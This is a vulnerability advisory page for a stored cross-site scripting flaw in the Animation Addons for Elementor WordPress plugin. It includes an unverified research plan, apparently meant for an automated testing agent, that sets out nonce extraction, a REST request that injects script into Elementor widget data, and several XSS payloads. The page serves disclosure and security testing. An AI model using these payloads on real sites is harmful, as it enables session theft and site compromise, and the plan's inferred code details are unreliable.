CVE-2026-39702

Animation Addons for Elementor <= 2.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.6.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.6.2
PublishedMarch 1, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

# Research Plan: CVE-2026-39702 Animation Addons for Elementor Stored XSS ## 1. Vulnerability Summary The **Animation Addons for Elementor** plugin (up to v2.6.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize user-supplied widg…

Show full research plan

Research Plan: CVE-2026-39702 Animation Addons for Elementor Stored XSS

1. Vulnerability Summary

The Animation Addons for Elementor plugin (up to v2.6.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize user-supplied widget settings when they are saved and subsequently fails to escape those settings when they are rendered on the frontend.

As an Elementor addon, the plugin registers custom widgets or extensions. In WordPress, Elementor widget data is stored as a JSON-encoded string in the _elementor_data post meta. Since a Contributor can create posts and use the Elementor editor, they can inject malicious scripts into widget properties (like IDs, classes, or custom animation attributes) that are then executed in the context of any user (including Administrators) viewing or editing the affected page.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for Elementor (/wp-json/wp/v2/pages/{id} or /wp-json/elementor/v1/editor-data) or the standard Elementor heartbeat/save mechanism.
  • Vulnerable Parameter: Individual properties within the _elementor_data JSON structure (e.g., a text field for "Animation ID" or "Custom Attributes").
  • Required Authentication: Contributor level or higher.
  • Preconditions: The plugin must be active, and Elementor must be enabled for the post type being edited.

3. Code Flow (Inferred)

  1. Input: A Contributor user opens a post in the Elementor editor.
  2. Storage: The user adds an "Animation Addons" widget and enters a payload into a setting field (e.g., a field named gsap_custom_id or gsap_animation_name).
  3. Save: Elementor sends the widget configuration to the server via the REST API. The plugin's widget class (extending \Elementor\Widget_Base) does not sanitize this specific field in its register_controls() or via a validation hook.
  4. Database: The payload is stored in the wp_postmeta table under the key _elementor_data.
  5. Rendering: When a user visits the page, Elementor calls the widget's render() method. The plugin likely outputs the property directly:
    // Example of vulnerable rendering in the plugin's widget file
    protected function render() {
        $settings = $this->get_settings_for_display();
        echo '<div id="' . $settings['gsap_custom_id'] . '">'; // VULNERABLE: No esc_attr()
    }
    

4. Nonce Acquisition Strategy

To save Elementor data via the REST API, the execution agent needs a WordPress REST API nonce.

  1. Identify Trigger: The plugin's scripts are usually loaded when the Elementor Editor is active.
  2. Setup Page:
    • Create a page as a Contributor: wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_author=[CONTRIBUTOR_ID]
  3. Navigate: Use browser_navigate to go to the Elementor Editor for that page: /wp-admin/post.php?post=[POST_ID]&action=elementor
  4. Extract Nonce: Elementor stores its configuration and nonces in a global JavaScript object. Use browser_eval to retrieve it:
    • browser_eval("window.elementorConfig?.api_nonce") (Primary)
    • browser_eval("window.elementorCommon?.config?.ajax?.nonce") (Backup)

5. Exploitation Strategy

The goal is to update the _elementor_data of a post with a payload that triggers when the page is viewed.

Step-by-Step Plan:

  1. Find Vulnerable Property: Use grep in the plugin directory to find potential sinks:

    grep -r "echo" . | grep "settings\["
    

    Look for properties in files within widgets/ or modules/. For example, if a widget has a control named gsap_id.

  2. Craft the Payload:
    A standard attribute breakout: "><script>alert(document.domain)</script>
    Or an event handler: x" onmouseover="alert(1)

  3. Prepare the REST Request:

    • Method: POST
    • URL: /wp-json/wp/v2/pages/[POST_ID]
    • Headers:
      • X-WP-Nonce: [EXTRACTED_NONCE]
      • Content-Type: application/json
    • Body:
      {
        "meta": {
          "_elementor_data": "[{\"id\":\"unique_id\",\"elType\":\"widget\",\"widgetType\":\"gsap-animation-widget-name\",\"settings\":{\"gsap_id\":\"\\\"><script>alert(1)<\\/script>\"},\"elements\":[]}]"
        }
      }
      
      (Note: _elementor_data is stored as a stringified JSON array of objects. The widgetType must match a real widget from the plugin, e.g., gsap-motion-addon).
  4. Execute via http_request: Submit the crafted JSON to the REST API.

  5. Trigger: Navigate to the frontend URL of the page (/?p=[POST_ID]) and check for the script execution.

6. Test Data Setup

  1. User: Create a Contributor user: wp user create victim-contributor victim@example.com --role=contributor --user_pass=password123
  2. Plugin Setup: Ensure "Animation Addons for Elementor" is active.
  3. Identify Widget Slug: Run grep -r "get_name" . in the plugin directory to find the internal slugs for the widgets (e.g., gsap-text-animation).

7. Expected Results

  • The REST API should return a 200 OK status confirming the post update.
  • The wp_postmeta table should contain the payload within the _elementor_data field.
  • Viewing the page source on the frontend should show the unescaped payload:
    <div id=""><script>alert(1)</script>">

8. Verification Steps

  1. Check Meta: Use WP-CLI to verify the payload is stored:
    wp post meta get [POST_ID] _elementor_data
    
  2. Frontend Check: Use http_request (GET) to fetch the page and check if the payload exists in the response body:
    # Verify the script tag exists in the HTML
    http_request(url="http://localhost:8080/?p=[POST_ID]")
    

9. Alternative Approaches

  • Elementor Heartbeat: If the REST API endpoint is restricted, use the Elementor heartbeat AJAX action (action=elementor_ajax) which often allows saving editor data.
  • Extension XSS: Many Animation Addons are "extensions" to existing Elementor widgets. Check if the plugin adds a "Motion Effects" or "GSAP" section to the standard "Button" or "Heading" widgets. In this case, the payload would be added to a standard widget's settings object under a key like _gsap_animation_id.
  • Payload Variation: If <script> is blocked by a WAF (unlikely in this local environment), use:
    <img src=x onerror=alert(1)>
    " onfocus="alert(1)" autofocus="

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.